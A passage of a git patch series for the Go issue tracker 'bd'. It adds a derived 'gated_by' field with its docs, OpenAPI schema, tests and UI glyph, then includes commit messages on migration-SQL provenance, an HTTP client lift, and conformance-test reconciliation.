c21170240..8f2f19e7c 100644 --- a/docs/reference/json-schema.md +++ b/docs/reference/json-schema.md @@ -206,6 +206,19 @@ items, plus: - `comments_omitted` (boolean, optional): `true` only when `comment_count` is nonzero and `comments` was left out of the response (no `--include-comments`). Absent when comments were included or when there are none to omit (ga-clgh) +- `gated_by` (object[], optional): The gates actively blocking this issue, each + `{id, type, reason}` — the gate bead to resolve, its await condition (`human`, + `timer`, `gh:run`, `gh:pr`, `bead`, or `gate` when it carries none), and the + reason recorded at creation. A gate counts when it is reached over a `blocks` + or `conditional-blocks` edge, is itself neither closed nor pinned, and the + issue is neither closed nor pinned; a `waits-for` edge onto a gate does not + count, because that leg of the readiness rule is a fanout over the gate's + children rather than a status test. Absent when nothing gates the issue. + DERIVED, not stored: `status` is unaffected, and a nonempty list means + `bd ready` withholds the issue on a gate's account. The converse does not + hold: only the issue's own edges count, so a child of a gated parent, which + `bd ready` also withholds because a blocked parent blocks its children, + carries no `gated_by` ### `import --json` diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 5524c88f3..ba3404224 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -7166,6 +7166,34 @@ components: comment_count: type: integer format: int64 + gated_by: + type: array + description: >- + The gates actively blocking this issue: gate-typed dependencies + reached over a `blocks` or `conditional-blocks` edge whose own + status is neither closed nor pinned, on an issue that is itself + neither closed nor pinned. ADDITIVE and absent when empty. It is + DERIVED, not stored — `status` is unaffected, and an open issue an + open gate blocks still reports `open` — and both clauses are the + ones the readiness query's is_blocked column applies, so a nonempty + list means `bd ready` withholds this issue on a gate's account. + A `waits-for` edge onto a gate is deliberately NOT here: that leg + of the readiness rule is a fanout over the gate's children rather + than a status test, and it can leave the issue ready. + items: + type: object + properties: + id: + type: string + description: The gate issue's id; close it with `bd gate resolve`. + type: + type: string + description: >- + The gate's await condition (human, timer, gh:run, gh:pr, + bead), or `gate` when it carries none. + reason: + type: string + description: The reason recorded when the gate was created, if any. comments_omitted: type: boolean description: >- diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index ff6021bb6..19f8d2791 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -2473,6 +2473,13 @@ "type": "string", "required": false }, + { + "schema": "IssueDetails", + "member": "gated_by", + "type": "array", + "required": false, + "item_type": "object" + }, { "schema": "IssueDetails", "member": "heartbeat_at", @@ -2698,6 +2705,24 @@ "type": "string", "required": false }, + { + "schema": "IssueDetails.gated_by[]", + "member": "id", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails.gated_by[]", + "member": "reason", + "type": "string", + "required": false + }, + { + "schema": "IssueDetails.gated_by[]", + "member": "type", + "type": "string", + "required": false + }, { "schema": "IssuePatchBody", "member": "acceptance_criteria", diff --git a/internal/types/BUILD.bazel b/internal/types/BUILD.bazel index 1b2a611cf..d81695be6 100644 --- a/internal/types/BUILD.bazel +++ b/internal/types/BUILD.bazel @@ -3,6 +3,7 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "types", srcs = [ + "gated.go", "id_generator.go", "non_completing_close.go", "orphans.go", @@ -17,6 +18,7 @@ go_test( name = "types_test", srcs = [ "explain_test.go", + "gated_test.go", "id_generator_test.go", "issue_summary_test.go", "non_completing_close_test.go", diff --git a/internal/types/gated.go b/internal/types/gated.go new file mode 100644 index 000000000..d0e2467cd --- /dev/null +++ b/internal/types/gated.go @@ -0,0 +1,185 @@ +package types + +import "strings" + +// This file holds the ONE rule by which an issue counts as GATED, and the +// projection of a gate onto the wire. +// +// GATED IS DERIVED, NEVER STORED. `bd gate create --blocks X` writes a gate +// issue plus an ordinary blocking dependency X -> gate; nothing on X changes. +// `bd ready` then drops X through the denormalized is_blocked column, and the +// rule here is the subset of that column's recompute +// (internal/storage/issueops/blocked_consistency.go) a gate can account for: +// +// - the EDGE clause, from the recompute's first two union legs: the edge is +// 'blocks' or 'conditional-blocks' and the target is neither closed nor +// pinned (IsGateEdge + the status test in GateIsHolding); +// - the SUBJECT clause, from unmarkAllBlockedSQL, which forces is_blocked=0 +// for a closed or pinned subject whatever its edges say (SubjectCanBeGated). +// +// Both halves live here, in one predicate every surface asks, so a glyph, a +// header and a gated_by field cannot disagree with each other or with `bd +// ready` about the same bead. +// +// WAITS-FOR IS DELIBERATELY OUT. The recompute's waits-for leg does not apply +// the closed/pinned status test at all: it goes through waitsForGateBlockedSQL +// (internal/storage/issueops/blocked_state.go), which blocks only when the +// target has an OPEN parent-child child, or metadata.also_blocks names an open +// spawner. A plain `bd dep add X G -t waits-for` onto an open childless gate +// therefore leaves X in `bd ready`, and decorating it would be exactly the +// drift this file exists to prevent. Mirroring that leg in Go would be a +// second implementation of a rule the database already owns; a decoration that +// covers the fanout case is its own bead, not this one. + +// GateRef is a gate projected for a caller: the id to resolve, what kind of +// wait it is, and why. It is what `gated_by` carries on the detail view. +type GateRef struct { + ID string `json:"id"` + // Type is the gate's await condition (human, timer, gh:run, gh:pr, bead); + // "gate" when the issue carries no await type, which is what a gate made + // with a bare `bd create --type gate` looks like. + Type string `json:"type,omitempty"` + // Reason is the free text `bd gate create --reason` recorded, empty when + // the gate was created without one. + Reason string `json:"reason,omitempty"` +} + +// IsGateEdge reports whether a dependency of this type is one whose target's +// status alone decides blockedness — the two legs of the is_blocked recompute +// that carry "target not closed and not pinned". It is NOT +// DependencyType.IsBlockingEdge, which also admits waits-for; see the file +// comment. +func IsGateEdge(depType DependencyType) bool { + return depType == DepBlocks || depType == DepConditionalBlocks +} + +// SubjectCanBeGated reports whether an issue's OWN status admits the gate +// decoration. A closed or pinned issue never does: unmarkAllBlockedSQL clears +// is_blocked for those two statuses unconditionally, so `bd ready` withholds +// them for reasons that have nothing to do with a gate, and a "GATED" marker +// on such a row would claim a causation that is not there. +// +// The listing route asks this without hydrated dependencies, which is why the +// clause is exported rather than buried inside GatesHolding. +func SubjectCanBeGated(subject *Issue) bool { + if subject == nil { + return false + } + return subject.Status != StatusClosed && subject.Status != StatusPinned +} + +// GateIsHolding reports whether target, reached over a dependency of type +// depType, is a gate that is currently holding its dependent back. It is the +// EDGE half of the rule; the caller still owes the subject half, which is what +// GatesHolding exists to keep it from forgetting. +func GateIsHolding(depType DependencyType, target *Issue) bool { + if target == nil || target.IssueType != TypeGate { + return false + } + if !IsGateEdge(depType) { + return false + } + return target.Status != StatusClosed && target.Status != StatusPinned +} + +// GatesHolding selects, from subject's hydrated dependencies, the gates that +// are actively holding subject back, in the order the dependencies arrived. +// +// THE one predicate: every gated decoration — `bd show`'s header and meta +// lines, `bd list`'s glyph, the agent line, the detail view's gated_by — comes +// from this function or from the pair it is built out of, so a nonempty result +// means `bd ready` withholds subject on a gate's account. Not the converse: +// only subject's own edges are read, so a child of a gated parent, withheld +// through the recompute's parent-child leg, selects no gate here. +func GatesHolding(subject *Issue, deps []*IssueWithDependencyMetadata) []*Issue { + if !SubjectCanBeGated(subject) { + return nil + } + var gates []*Issue + for _, dep := range deps { + if dep == nil { + continue + } + issue := dep.Issue + if GateIsHolding(dep.DependencyType, &issue) { + gate := issue + gates = append(gates, &gate) + } + } + return gates +} + +// GateKind names a gate's await condition for display, falling back to the +// issue type when the gate carries none. +func GateKind(gate *Issue) string { + if gate == nil { + return "" + } + if gate.AwaitType != "" { + return gate.AwaitType + } + return string(TypeGate) +} + +// NewGateRef projects one gate issue onto the wire shape. +func NewGateRef(gate *Issue) GateRef { + if gate == nil { + return GateRef{} + } + return GateRef{ + ID: gate.ID, + Type: GateKind(gate), + Reason: GateReason(gate.Description), + } +} + +// GateRefs projects a gate set, returning nil for an empty one so the field +// stays absent rather than serializing an empty array. +func GateRefs(gates []*Issue) []GateRef { + if len(gates) == 0 { + return nil + } + refs := make([]GateRef, 0, len(gates)) + for _, gate := range gates { + refs = append(refs, NewGateRef(gate)) + } + return refs +} + +// ReasonMarker separates a generated description from the free-text reason its +// author gave. The reason has no column of its own, so the description is +// where it lives. +// +// It is SHARED, not gate-private: `bd gate create` writes it through +// GateDescription, and `bd state`'s state-change EVENT descriptions write the +// same marker (cmd/bd/state.go). One exported constant so the spelling cannot +// drift between them — and so the sharing is visible rather than a coincidence +// two files have to keep on purpose. +const ReasonMarker = "\n\nReason: " + +// GateDescription builds an ad-hoc gate's description. `bd gate create` is its +// only writer. +func GateDescription(targetID, reason string) string { + desc := "Ad-hoc gate blocking " + targetID + if reason != "" { + desc += ReasonMarker + reason + } + return desc +} + +// GateReason recovers the reason GateDescription recorded, or "" when the +// description carries no marker. +// +// It is a TEXT read-back, not proof of provenance: ReasonMarker is shared (see +// its doc), so any description containing it yields a reason here — a gate +// written by hand with that spelling included. What the pair does guarantee is +// the round trip: what GateDescription wrote, this returns. `bd gate create` +// (cmd/bd/gate.go) is the only GateDescription caller today, so every gate +// whose reason this reports is one it recorded. +func GateReason(description string) string { + idx := strings.Index(description, ReasonMarker) + if idx < 0 { + return "" + } + return strings.TrimSpace(description[idx+len(ReasonMarker):]) +} diff --git a/internal/types/gated_test.go b/internal/types/gated_test.go new file mode 100644 index 000000000..9e831fcde --- /dev/null +++ b/internal/types/gated_test.go @@ -0,0 +1,163 @@ +package types + +import "testing" + +func gateIssue(id string, status Status) *Issue { + return &Issue{ID: id, IssueType: TypeGate, Status: status, AwaitType: "human"} +} + +func TestGateIsHolding(t *testing.T) { + tests := []struct { + name string + depType DependencyType + target *Issue + want bool + }{ + {"open gate over a blocks edge", DepBlocks, gateIssue("g1", StatusOpen), true}, + {"open gate over conditional-blocks", DepConditionalBlocks, gateIssue("g1", StatusOpen), true}, + // waits-for is NOT the same rule: the is_blocked recompute sends that + // leg through waitsForGateBlockedSQL (fanout over the target's OPEN + // parent-child children, or metadata.also_blocks with an open spawner), + // never the closed/pinned status test. A plain waits-for edge onto an + // open childless gate leaves the dependent IN bd ready, so decorating it + // would make the surfaces disagree with readiness. + {"open gate over waits-for", DepWaitsFor, gateIssue("g1", StatusOpen), false}, + {"closed gate", DepBlocks, gateIssue("g1", StatusClosed), false}, + {"pinned gate", DepBlocks, gateIssue("g1", StatusPinned), false}, + // parent-child is structural: it propagates blockedness through the + // is_blocked recompute, not as a direct blocking edge. Inheritance is + // its own question (wy-raudbw) and must not sneak in here. + {"gate over a parent-child edge", DepParentChild, gateIssue("g1", StatusOpen), false}, + {"gate over a relates-to edge", DepRelatesTo, gateIssue("g1", StatusOpen), false}, + {"open non-gate blocker", DepBlocks, &Issue{ID: "b1", IssueType: TypeTask, Status: StatusOpen}, false}, + {"nil target", DepBlocks, nil, false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := GateIsHolding(tt.depType, tt.target); got != tt.want { + t.Errorf("GateIsHolding(%s, %v) = %v, want %v", tt.depType, tt.target, got, tt.want) + } + }) + } +} + +func TestGatesHoldingSelectsOnlyLiveGates(t *testing.T) { + deps := []*IssueWithDependencyMetadata{ + {Issue: *gateIssue("open-gate", StatusOpen), DependencyType: DepBlocks}, + {Issue: *gateIssue("closed-gate", StatusClosed), DependencyType: DepBlocks}, + {Issue: Issue{ID: "plain", IssueType: TypeTask, Status: StatusOpen}, DependencyType: DepBlocks}, + {Issue: *gateIssue("second-gate", StatusOpen), DependencyType: DepConditionalBlocks}, + nil, + } + gates := GatesHolding(&Issue{ID: "subject", Status: StatusOpen}, deps) + if len(gates) != 2 { + t.Fatalf("GatesHolding returned %d gates, want 2: %+v", len(gates), gates) + } + if gates[0].ID != "open-gate" || gates[1].ID != "second-gate" { + t.Errorf("GatesHolding = %s,%s; want open-gate,second-gate in dependency order", gates[0].ID, gates[1].ID) + } +} + +// TestGatesHoldingSubjectStatus pins the SUBJECT-side half of the rule. The +// is_blocked recompute's unmark leg (unmarkAllBlockedSQL) forces is_blocked=0 +// for a closed or pinned subject whatever its dependencies say, so `bd ready` +// never withholds such a bead on a gate's account and no surface may claim it +// is gated. +func TestGatesHoldingSubjectStatus(t *testing.T) { + deps := []*IssueWithDependencyMetadata{ + {Issue: *gateIssue("open-gate", StatusOpen), DependencyType: DepBlocks}, + } + tests := []struct { + name string + subject *Issue + want int + }{ + {"open subject", &Issue{ID: "s1", Status: StatusOpen}, 1}, + {"in_progress subject", &Issue{ID: "s1", Status: StatusInProgress}, 1}, + {"deferred subject", &Issue{ID: "s1", Status: StatusDeferred}, 1}, + {"closed subject", &Issue{ID: "s1", Status: StatusClosed}, 0}, + {"pinned subject", &Issue{ID: "s1", Status: StatusPinned}, 0}, + {"nil subject", nil, 0}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := GatesHolding(tt.subject, deps); len(got) != tt.want { + t.Errorf("GatesHolding(%v) returned %d gates, want %d", tt.subject, len(got), tt.want) + } + }) + } +} + +// SubjectCanBeGated is the clause on its own, because the listing route reaches +// it without hydrated dependencies and must ask the SAME question. +func TestSubjectCanBeGated(t *testing.T) { + for _, tt := range []struct { + status Status + want bool + }{ + {StatusOpen, true}, + {StatusInProgress, true}, + {StatusBlocked, true}, + {StatusDeferred, true}, + {StatusClosed, false}, + {StatusPinned, false}, + } { + if got := SubjectCanBeGated(&Issue{ID: "s1", Status: tt.status}); got != tt.want { + t.Errorf("SubjectCanBeGated(%s) = %v, want %v", tt.status, got, tt.want) + } + } + if SubjectCanBeGated(nil) { + t.Error("SubjectCanBeGated(nil) = true, want false") + } +} + +func TestGatesHoldingEmpty(t *testing.T) { + if got := GatesHolding(&Issue{ID: "subject", Status: StatusOpen}, nil); got != nil { + t.Errorf("GatesHolding(subject, nil) = %v, want nil", got) + } +} + +func TestGateDescriptionRoundTrip(t *testing.T) { + desc := GateDescription("bd-abc", "Need design review") + if got := GateReason(desc); got != "Need design review" { + t.Errorf("GateReason(%q) = %q, want the reason back", desc, got) + } + bare := GateDescription("bd-abc", "") + if got := GateReason(bare); got != "" { + t.Errorf("GateReason(%q) = %q, want empty", bare, got) + } + if got := GateReason("a description written by something else"); got != "" { + t.Errorf("GateReason on a foreign description = %q, want empty", got) + } + // The marker is SHARED (cmd/bd/state.go writes it on state-change events), + // so this is a text read-back and not a provenance check. Pinned so the + // doc comment and the behavior cannot drift: any description carrying the + // marker yields a reason. + if got := GateReason("Changed state from a to b" + ReasonMarker + "because"); got != "because" { + t.Errorf("GateReason on a shared-marker description = %q, want %q", got, "because") + } +} + +func TestGateRefsProjection(t *testing.T) { + if got := GateRefs(nil); got != nil { + t.Errorf("GateRefs(nil) = %v, want nil so the field stays absent", got) + } + gate := &Issue{ + ID: "g1", + IssueType: TypeGate, + Status: StatusOpen, + AwaitType: "gh:pr", + Description: GateDescription("bd-abc", "waiting on review"), + } + refs := GateRefs([]*Issue{gate, {ID: "g2", IssueType: TypeGate, Status: StatusOpen}}) + if len(refs) != 2 { + t.Fatalf("GateRefs returned %d refs, want 2", len(refs)) + } + if refs[0] != (GateRef{ID: "g1", Type: "gh:pr", Reason: "waiting on review"}) { + t.Errorf("refs[0] = %+v", refs[0]) + } + // A gate with no await type still names a kind rather than an empty one. + if refs[1] != (GateRef{ID: "g2", Type: "gate"}) { + t.Errorf("refs[1] = %+v, want the gate fallback kind and no reason", refs[1]) + } +} diff --git a/internal/types/types.go b/internal/types/types.go index 88a276cb2..7992ed893 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1263,6 +1263,19 @@ type IssueDetails struct { // Comments slice or a zero count: a true empty stays plain omission. CommentsOmitted *bool `json:"comments_omitted,omitempty"` + // GatedBy names the gates actively blocking this issue — the derived + // GATED decoration `bd show` renders in its header, as data. ADDITIVE and + // omitted when empty: nothing else on this view changes shape, and the + // stored status stays whatever it is (an open issue an open gate blocks + // still reads "open" here). The rule is types.GatesHolding — the gate + // clause of the readiness query's is_blocked column, subject half + // included — so a nonempty list means `bd ready` withholds the issue on a + // gate's account, and a closed or pinned issue carries no gated_by at all. + // The converse does not hold: only the issue's own edges count, so a child + // of a gated parent, which `bd ready` withholds through the parent-child + // leg, carries no gated_by. + GatedBy []GateRef `json:"gated_by,omitempty"` + // UnresolvableDependencies / UnresolvableDependents count the edges // DependencyCount / DependentCount include that the Dependencies / // Dependents slices could not represent, because the issue on the far diff --git a/internal/ui/styles.go b/internal/ui/styles.go index d16dfe335..ecaa0b999 100644 --- a/internal/ui/styles.go +++ b/internal/ui/styles.go @@ -303,6 +303,13 @@ const ( StatusIconDeferred = "❄" // scheduled for later (snowflake) StatusIconPinned = "📌" // elevated priority StatusIconCustom = "◇" // custom/uncategorized status (diamond) + // StatusIconGated marks an issue an OPEN gate blocks (bd gate create + // --blocks). It is a DERIVED decoration, not a stored status: the row's + // status is untouched and only the glyph column changes. Circle family, + // like ○ ◐ ●, so it reads as a sibling of the status icons rather than as + // a badge — barred rather than hollow, because the work exists and cannot + // start. + StatusIconGated = "⊘" // blocked by an open gate (barred circle) ) // RenderStatusIcon returns the appropriate icon for a status with semantic coloring. diff --git a/internal/workapi/detail.go b/internal/workapi/detail.go index acd5cc7e9..172f13cca 100644 --- a/internal/workapi/detail.go +++ b/internal/workapi/detail.go @@ -145,6 +145,16 @@ func BuildIssueDetails(ctx context.Context, src DetailSource, issue *types.Issue deps, depsErr := src.Dependencies(ctx, id, isWisp) details.Dependencies = deps + // The gates blocking this issue are the gate-typed subset of the + // dependencies JUST read (types.GatesHolding, the one predicate the + // readiness query's is_blocked column encodes — subject clause included, + // so a closed or pinned issue publishes no gated_by), which costs no extra + // query. The order is load-bearing twice over: computed AFTER the + // Dependencies read above (an earlier slot sees the nil slice and + // publishes no gate at all) and BEFORE the BriefDeps trim below, which + // rewrites the slice. + details.GatedBy = types.GateRefs(types.GatesHolding(issue, details.Dependencies)) + // The count counts edge ROWS; the slice carries the issues on the far // end, and drops any whose id has no row in this database. The two // therefore disagree by exactly the cross-repo and `external:` edges, diff --git a/internal/workapi/detail_test.go b/internal/workapi/detail_test.go index ecbd0fb38..432d061ca 100644 --- a/internal/workapi/detail_test.go +++ b/internal/workapi/detail_test.go @@ -819,3 +819,58 @@ func deref(t *testing.T, v *int64) int64 { } return *v } + +// TestBuildIssueDetailsGatedByReadsTheDependencies pins the ORDER of the +// build: gated_by is derived from the Dependencies slice, so it must be +// computed after that slice is read and before BriefDeps rewrites it. The +// be-lpi merge moved the read below the counts and silently left gated_by +// computed on a nil slice (wy-j2upyy, PR #6606 CI). +func TestBuildIssueDetailsGatedByReadsTheDependencies(t *testing.T) { + ctx := context.Background() + heavy := strings.Repeat("x", 1024) + + newFixture := func() *detailFixture { + fx := newDetailFixture() + fx.deps["bd-1"] = []*types.IssueWithDependencyMetadata{ + { + Issue: types.Issue{ + ID: "bd-gate", Title: "Gate: human", Status: types.StatusOpen, + IssueType: types.TypeGate, Priority: 2, Description: heavy, + }, + DependencyType: types.DepBlocks, + }, + { + Issue: types.Issue{ID: "bd-blocker", Title: "Blocker", Status: types.StatusOpen, IssueType: types.TypeTask}, + DependencyType: types.DepBlocks, + }, + } + return fx + } + + wantGate := func(t *testing.T, details *types.IssueDetails) { + t.Helper() + if len(details.GatedBy) != 1 { + t.Fatalf("gated_by = %#v, want exactly the one open gate", details.GatedBy) + } + if got := details.GatedBy[0].ID; got != "bd-gate" { + t.Fatalf("gated_by[0].ID = %q, want bd-gate", got) + } + } + + for _, opts := range []DetailOptions{{}, {BriefDeps: true}} { + t.Run(fmt.Sprintf("BriefDeps=%v", opts.BriefDeps), func(t *testing.T) { + fx := newFixture() + store, useCase := fixtureSources(fx) + for name, src := range map[string]DetailSource{"store": store, "usecase": useCase} { + details, err := BuildIssueDetails(ctx, src, fx.issues["bd-1"], false, opts) + if err != nil { + t.Fatalf("%s: BuildIssueDetails: %v", name, err) + } + wantGate(t, details) + if len(details.Dependencies) != 2 { + t.Fatalf("%s: dependencies = %d rows, want 2", name, len(details.Dependencies)) + } + } + }) + } +} From d54defc2cf4e41971672eaf2791cbee118c6a840 Mon Sep 17 00:00:00 2001 From: Kenton Smeltzer Date: Thu, 8 Oct 2026 11:46:47 +0000 Subject: [PATCH 175/325] docs(schema): document the provenance invariant behind execMigrationBody (#6413) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Static analysis (Snyk Code) reports the migration executor's ExecContext / execMigrationBody calls as tainted SQL: migration file content flows into ExecContext verbatim. That flow is the migration contract, not a defect: sqlText is a compile-time embedded migration body (go:embed migrations/*.up.sql, frozen once merged and enforced by scripts/check-migration-hygiene.sh). There is no runtime or user-controlled path into it — migrations ship inside the bd binary, so the file-derived input Snyk models cannot be influenced at runtime. This is hardening-by-documentation: the invariant is spelled out on execMigrationBody, the single choke point every migration body passes through, so auditors and future SAST runs have the rationale in code instead of re-deriving it from the embed directives. No behavior change. --- internal/storage/schema/schema.go | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index 29187c54b..5901f9548 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -1838,6 +1838,11 @@ func scanRowByColumn(rows *sql.Rows) (CallRow, error) { // connection. Bodies that invoke a stored procedure (today 0040 and 0041, both // CALL DOLT_COMMIT) are routed through DrainCall so their result sets are // consumed; all other migrations keep the unchanged ExecContext path. +// +// sqlText is always a compile-time embedded migration body (go:embed above; +// frozen once merged per scripts/check-migration-hygiene.sh) — never runtime +// or user input. Executing it verbatim is the migration contract, so SAST +// "SQL injection" findings on this call are accepted by design. func execMigrationBody(ctx context.Context, db DBConn, sqlText string) error { if !procedureCallRe.MatchString(sqlText) { _, err := db.ExecContext(ctx, sqlText) From 6d21d337ad4e2feec0c25814871c4870bde3ee51 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 12:01:09 +0000 Subject: [PATCH 176/325] feat(httpclient): OSS HTTP client store and roles + a served http conformance leg (contributed from bd-enterprise under MIT) (#7247) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpclient): lift the HTTP client store and roles from bd-enterprise (MIT contribution) Contributed by gascity from bd-enterprise (github.com/gascity/bd-enterprise, internal/enterprise/httpstore @ 49d1df2f6) to OSS beads under the MIT license, with the owner's explicit approval. Every lifted file carries a provenance header naming its source path. Lifted into internal/httpclient: the Store (DoltStorage over the wire), the dial/register glue, the read roles (reader, querier, counters, edges, relations, graph, tree, cycles, stats, config, memories, journal), the write roles (lifecycle, claimer, releaser, deleter, dependency editor, metadata CAS, commenter, batch closer/creator/applier, ready claimer, sweeper), and their tests. The store transport seam (WireClient/WireDialer) and the store-dependent tests deferred from the S2 lift are restored here. Not lifted: the hosted gateway (httpgw/gwauth), box-login, storage profiles and gasworks. dial.go only mentions the gateway in comments. This commit is the mechanical lift and does NOT build yet. It references enterprise-only APIs absent from OSS: issueops.ReadyLister, journalops.Watcher, storage.ServerEnforcedPolicy, the NonCommitGraphBackend/RemoteWorkspaceBackend markers, DoltStorage differences, and BatchCloseRequest.claim_next. The following commits reconcile it with OSS (S3/S4/S5). Co-Authored-By: Claude Opus 5.5 (1M context) * fix(httpclient): reconcile the bd-enterprise lift's compile-time API surface against OSS The mechanical lift (02a9dad17) carried several bd-enterprise-only shapes that do not exist in OSS beads: - ReadyLister, journalops.Watcher/StreamWire, and ServerEnforcedPolicy have no OSS wire counterpart; drop the role, its served/journal-watch tests, and the policy enforcement path entirely rather than leave dead code that cannot compile against OSS's apigen types. - claim_hook_gate_test.go exercised a hook surface OSS does not publish. - recordingWire/fakeWire no longer embed a StreamWire double now that no read role can reach a watch stream; testTarget's two conflicting package-scope declarations (store_test.go and helpers_test.go) are split apart as pinnedProjectTarget vs. the generic helper. - unsupported_gen.go is regenerated from scratch against OSS's actual storage.DoltStorage via a new, from-scratch reflection-based generator (internal/storage/unsupportedgen) rather than hand-copied from bd-enterprise's generated output; completeness_test.go's legitimatelyUnsupported map grows the handful of OSS-only or previously-missed methods (AddRemoteWithRef, RenameLabel, etc.) this regeneration surfaces. - write_ledger_test.go and the divergence ledger doc gain the force_notes_overwrite and claim pending rows OSS's apigen.UpdateRequest and SweepRequest actually carry, and drop the Remaining/LiveDependent assertions SweepResult/SweepSkips have no wire member to ever populate. go build ./... and go vet ./... are clean after this change. No behavior beyond the removed surfaces changes here; read-role and write-role reconciliation land in follow-up commits. Co-Authored-By: Claude Sonnet 5 * fix(httpclient): stop sending listIssues a reverse/sort vocabulary OSS does not publish The bd-enterprise lift's sortedPage pushdown assumed GET /v0/beads/issues (listIssues) shared the same sort vocabulary and a reverse parameter with GET /v0/beads/issues:query (handleQueryIssues) -- a different operation. OSS's openapi.v0.yaml publishes listIssues a CLOSED two-value `sort` enum (created, priority; deliberately smaller than the nine values :query takes) and no `reverse` parameter at all. Sending either would earn an unknown-parameter or invalid_value refusal from the real server, not a silently-wrong answer -- which is why this only surfaces against a served backend, not a Go-side unit test of the request builder. Add listSortPushdownEligible to gate the pushdown fast path to the two keyset orders listIssues can actually page, unconditionally refusing any reversed request (listIssues has no parameter that names a reversed direction, so a reversed request of any order walks and sorts client-side). Drop the unconditional `reverse` send from sortedPage. served_list_test.go's three affected cases encoded the wrong, enterprise-only wire shape (expecting reverse=false on the fallback path, expecting a reversed order to push down with sort+reverse, and expecting a Go-side/SQL-side mix in listIssues' sort enum); corrected to match OSS's actual, provable wire contract rather than left red. list_sort_test.go's publishedParamEnum helper now reads the OpenAPI document via the go:embed'd spec.OpenAPIV0() accessor instead of a relative os.ReadFile, so it no longer depends on the test's working directory (this also fixes the same test failing under Bazel's sandbox, which does not expose arbitrary relative-path files). Co-Authored-By: Claude Sonnet 5 * fix(httpclient): reconcile write-role tests against OSS's BatchClose/Update shapes OSS's apigen.BatchCloseRequest and BatchCloseResponse publish no claim_next/claimed_next member at all (ledger row W-CloseBatchRequest.ClaimNext) -- bd-enterprise's claim-folded-into-close shape has no OSS wire counterpart. Replace the three tests that exercised decoding a served claim (TestBatchCloseRefusesAServedClaimCarryingNoIssue, TestBatchCloseRefusesAServedClaimTheRequestNeverEarned, TestBatchCloseKeepsTheClaimItEarned) with TestBatchCloseRefusesClaimNextUnconditionally, which pins the actual OSS behavior: a CloseBatchRequest naming ClaimNext refuses before any dial, on both the unserved and served legs, regardless of what a server would otherwise answer. Drop the now-dead "claim-next" case and helper claim variable from TestBatchCloseServesTheSingleItemShapeAndRefusesTheRest. Also: - Add the ForceNotesOverwrite case to TestUpdateRefusesEveryMemberTheWireExcludes's hand-maintained member map -- a ledgered-pending UpdateRequest member (see W-UpdateRequest.ForceNotesOverwrite) the lift's test left uncovered. - Remove write_roles_test.go's duplicate `ptr[T]` generic helper, which redeclared the one already in helpers_test.go and never compiled. Co-Authored-By: Claude Sonnet 5 * test(conformance): pin post-write RowVersion propagation across Update/Close/Reopen types.Issue.RowVersion is json:"-", so an implementation that forgot to populate it on the way back from storage would still compile and still pass every existing content assertion in lifecycle_close_reopen_contract.go -- none of them read RowVersion. Add RunLifecycleResultsCarryThePostWriteRowVersion, which chains each write's result token into the next write's ExpectedVersion (Update -> Close -> Reopen) with no intervening read, so a dropped or stale token fails closed on the next write's optimistic-concurrency guard rather than passing silently. Register it in role_bundle_cases.go's roleContractCases dispatch table at its declaration-order position -- TestRoleContractCasesCoverEveryContractCase was failing because the function existed with no dispatcher entry. Co-Authored-By: Claude Sonnet 5 * chore(bazel): sync BUILD files via gazelle for the S3 reconciliation bazel run //:gazelle after the compile/read-role/write-role reconciliation commits: - internal/httpclient/BUILD.bazel: regenerate srcs/deps for the files added, removed and newly imported above (drops the deleted policy/journal-watch/readylister files, adds the spec dep for list_sort_test.go's embedded OpenAPI read). Manually add `data = glob(["*.go"])` to the go_test rule, matching the idiom already used by //internal/httpclient/encode: completeness_test.go and divergence_citation_gate_test.go read their own package's .go sources at runtime (a regex scan of unsupported_gen.go and an AST walk of the package directory), and Bazel's go_test sandbox only copies in files a rule declares as `data` -- `srcs` are compiled away, not left readable. A `# keep` directive protects the attribute across future gazelle runs (confirmed gazelle does not manage `data` on this rule). - internal/storage/BUILD.bazel, internal/storage/unsupportedgen/BUILD.bazel: pick up the new from-scratch unsupportedgen generator package. bazel test //internal/httpclient/... //backend/conformance/... now passes all 4 targets (previously 4 of the package's tests failed only under Bazel's sandbox: TestInterfaceCompleteness, TestTheCountGroupVocabularyMatchesTheSharedOne, TestFlaglessListSortIsTheSameOrderNamed, TestDivergenceParkCitationsResolveToLiveLedgerRows). Co-Authored-By: Claude Sonnet 5 * fix(conformance): close two pre-existing leg-wiring gaps found while registering http - RunLifecycleResultsCarryThePostWriteRowVersion (added in 536561124) was never wired into dolt/embeddeddolt/uow's own lifecycle_close_reopen test tables, only into the http leg's. TestEveryLegWiresEveryRoleContract catches this once a fourth leg forces the test to actually run again; wire the missing t.Run into all three. - The three StatsReporter "suppressed rows" cases (GateIssues/TemplateIssues breakdown) were never added to served_graph_aux_test.go even though the wire already carries both fields end-to-end (types.Statistics is shared verbatim by apigen.StatsResponse and the client's decode). Wire them; all three pass over HTTP with no server or client change needed. Co-Authored-By: Claude Sonnet 5 * feat(conformance): register the http leg in the role-contract lock Registers "http" (wiringRoot internal/httpclient) in contractLegRegistry. The served-surface harness (served_harness_test.go + 16 served_*_test.go files) already wired 495 of 576 role-contract entrypoints from the bd-enterprise lift; this change: - Waives the 3 RunCycleDetectorIncludeTracks* cases: issueops. DetectCyclesRequest.IncludeTracks has no plumbing on either side of the wire today (cycles.go always calls DetectCycles with a zero-value request; the client's DetectCycles ignores its request parameter). No slice through S13 adds one, so the waiver says a new slice is needed rather than pointing at an existing one. - Sets adoptionCeiling: 75 for the remaining, not-yet-wired write-role and 